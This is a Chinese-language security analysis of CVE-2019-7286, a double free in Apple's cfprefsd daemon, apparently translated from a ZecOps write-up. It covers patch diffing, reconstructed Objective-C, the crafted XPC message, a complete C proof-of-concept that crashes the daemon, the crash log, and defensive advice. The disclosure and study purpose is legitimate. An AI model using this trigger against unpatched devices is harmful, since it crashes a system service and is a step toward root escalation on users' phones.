iOS/OSX漏洞分析和再现：CVE-2019-7286
iOS 12.1.4是2019年2月8日发布的iOS的最新版本。该版本修补了iOS上发现的四个漏洞。根据Project Zero的Ben Hawkes的推文，其中至少有两个0day还是处于在野状态……
- CVE-2019-7286在野外被开发利用
- 该漏洞似乎具有严重的严重性，并且可能在重新启动后也可能用于维持持久性
- ZecOps能够重现此漏洞（下面的POC代码）
- 该漏洞可用于将权限升级为root，作为iOS 12.1.3上越狱链的一部分。
分析CVE-2019-7286
根据Apple的描述：
基础
适用于：iPhone 5s及更高版本，iPad Air及更高版本以及iPod touch第6代
影响：应用程序可能获得提升的权限
说明：通过改进的输入验证解决了内存损坏问题。
CVE-2019-7286：匿名研究员，Google威胁分析组的Clement Lecigne，Google Project Zero的Ian Beer和Google Project Zero的SamuelGroß
除了在Apple的Foundation框架中修补漏洞这一事实外，该描述并未向我们提供有关漏洞性质的大量详细信息。
在分析Foundation框架中的补丁后，二进制差异显示iOS 12.1.4的二进制文件与iOS 12.1.3相比没有显着变化。下一个直接的嫌疑人是CoreFoundation，它显示了Diaphora工具中的一些二进制差异，如下所示：
通过比较补丁，我们发现CFPrefs守护进程（cfprefsd）的实现有一些细微的变化。
此守护程序的手册页不太具描述性：
cfprefsd为CFPreferences和
NSUserDefaults API 提供首选项服务。手动
没有cfprefsd的配置选项。
几乎所有iOS / OS X上的软件都会在启动时使用CFPreferences选项，因此该守护程序中的漏洞可能对维护持久性也很有用。令人惊讶的是，目前还没有关于此CVE的公开信息，正如人们所期望的那样，这个漏洞在野外被积极利用。
补丁分析
OS X上也存在同样的错误，这有助于ZecOps的调查和分析。在修补程序时，对cfprefsd引入了一些小的更改，但似乎最重要的修改是在以下函数中进行的：
[CFPrefsDaemon handleMultiMessage：replyHandler：]
下面是一段ZecOps试图重建原始的Obj-C代码以及补丁（粗体）：
1 @implementation CFPrefsDaemon 2 -(void)handleMultiMessage:(xpc_object_t)xpc_dict replyHandler:(Callback)replyHandler 3 { 4 // ... 5 CFPrefMessagesArr = xpc_dictionary_get_value(xpc_dict, "CFPreferencesMessages"); 6 // ... 7 xpc_array_count = xpc_array_get_count(CFPrefMessagesArr); 8 xpc_buffer = (__int64*)__CFAllocateObjectArray(xpc_array_count); 9 //... 10 for( counter = 0; xpc_array_count != counter; counter++) 11 { 12 xpc_buffer[counter] = xpc_array_get_value(CFPrefMessagesArr, counter); // This method does not grant the caller a reference to the underlying object, and thus the caller is not responsible for releasing the object. 13 } 14 for( counter = 0; xpc_array_count != loop_counter ; counter++) 15 { 16 xpc_element = xpc_buffer[counter]; 17 xpc_buffer[counter] = 0; //patch fix 18 if ( xpc_get_type(xpc_element) == &_xpc_type_dictionary ) 19 { 20 [self handleMessage_fromPeer_replyHandler: xpc_element fromPeer: xpc_connection replyHandler:^{ 21 if (xpc_element) // patch fix 22 { 23 xpc_object_t result = xpc_retain(xpc_element); 24 xpc_buffer[counter] = result; 25 } 26 }]; 27 } 28 if ( !xpc_buffer[counter] ) //patch fix 29 xpc_buffer[counter] = xpc_null_create(); //patch fix 30 } 31 //... 32 array_from_xpc_buffer = xpc_array_create(xpc_buffer, xpc_array_count); 33 xpc_dictionary_set_value(dict_response, "CFPreferencesMessages", array_from_xpc_buffer); 34 xpc_release(array_from_xpc_buffer); 35 for( counter = 0; xpc_array_count != counter ; counter++) 36 { 37 current_element = xpc_buffer[counter]; 38 if (xpc_get_type(current_element) != &_xpc_type_null ) 39 xpc_release(current_element); // first free. Double free will occur when the array CFPrefMessagesArr will be released. 40 } 41 // ... 42 }
漏洞详细信息
handleMultiMessage：replyHandler：使用“ CFPreferencesMessages ”数组引用计数问题，该数组是xpc请求的一部分。
该函数使用xpc_array_get_value逐个将数组的对象读入内存缓冲区，这不会影响引用计数。释放缓冲区中所有元素的函数的最后一部分假定xpc对象具有所有权。这通常是真实的，因为回调块调用xpc_retain并在替换原来的对象xpc_buffer。但是，如果由于精心制作的消息而未调用回调（消息正文包含消息的处理程序索引。并非所有处理程序都调用回调），则会发生双重释放。
具有以下键和值的XPC将触发此漏洞：
1 poc_dict = { 2 "CFPreferencesOperation" = 5, 3 "CFPreferencesMessages" = [ 4 { 5 "CFPreferencesOperation": 4 6 } 7 ] 8 }
如果回调没有更新xpc_buffer [count]， Apple的补丁用xpc_null替换了原始的XPC对象。因此，当xpc_null没有要释放的内存时，没有双重释放条件。
漏洞复制
我们能够使用下面的POC代码片段重现CVE-2019-7286：
1 #include <xpc/xpc.h>; 2 3 int main(int argc, const char * argv[]) { 4 5 xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.cfprefsd.daemon",0,XPC_CONNECTION_MACH_SERVICE_PRIVILEGED); 6 xpc_connection_set_event_handler(conn, ^(xpc_object_t t) { 7 printf("got message: %sn", xpc_copy_description(t)); 8 }); 9 10 xpc_connection_resume(conn); 11 12 xpc_object_t hello = xpc_dictionary_create(NULL, NULL, 0); 13 xpc_dictionary_set_int64(hello, "CFPreferencesOperation", 5); 14 15 xpc_object_t arr = xpc_array_create(NULL, 0); 16 xpc_object_t arr_elem1 = xpc_dictionary_create(NULL, NULL, 0); 17 xpc_dictionary_set_int64(arr_elem1, "CFPreferencesOperation", 4); 18 19 xpc_array_append_value(arr, arr_elem1); 20 xpc_dictionary_set_value(hello, "CFPreferencesMessages", arr); 21 xpc_connection_send_message(conn, hello); 22 xpc_release(hello); 23 return 0; 24 }
在iOS 12.0.1上运行上述程序导致cfprefsd崩溃：
Thread 6 name: Dispatch queue: Serving PID 7210 Thread 6 Crashed: 0 libobjc.A.dylib 0x21acd6b00 objc_object::release+ 16 1 libxpc.dylib 0x21b73bbc0 _xpc_array_dispose + 40 2 libxpc.dylib 0x21b73a584 _xpc_dispose + 156 3 libxpc.dylib 0x21b7449fc _xpc_dictionary_dispose + 204 4 libxpc.dylib 0x21b73a584 _xpc_dispose + 156 5 libxpc.dylib 0x21b742418 _xpc_connection_mach_event + 872 6 libdispatch.dylib 0x21b528544 _dispatch_client_callout4 + 16 7 libdispatch.dylib 0x21b4df068 _dispatch_mach_msg_invoke + 340 8 libdispatch.dylib 0x21b4cfae4 _dispatch_lane_serial_drain + 284 9 libdispatch.dylib 0x21b4dfc3c _dispatch_mach_invoke + 476 10 libdispatch.dylib 0x21b4cfae4 _dispatch_lane_serial_drain + 284 11 libdispatch.dylib 0x21b4d0760 _dispatch_lane_invoke + 432 12 libdispatch.dylib 0x21b4d8f00 _dispatch_workloop_worker_thread + 600 13 libsystem_pthread.dylib 0x21b70a0f0 _pthread_wqthread + 312 14 libsystem_pthread.dylib 0x21b70cd00 start_wqthread + 4
建议
- 更新到最新的OS X和iOS版本。
- 偶尔重启iPhone / iPad（例如每天一次）以从脱离非持久性攻击。
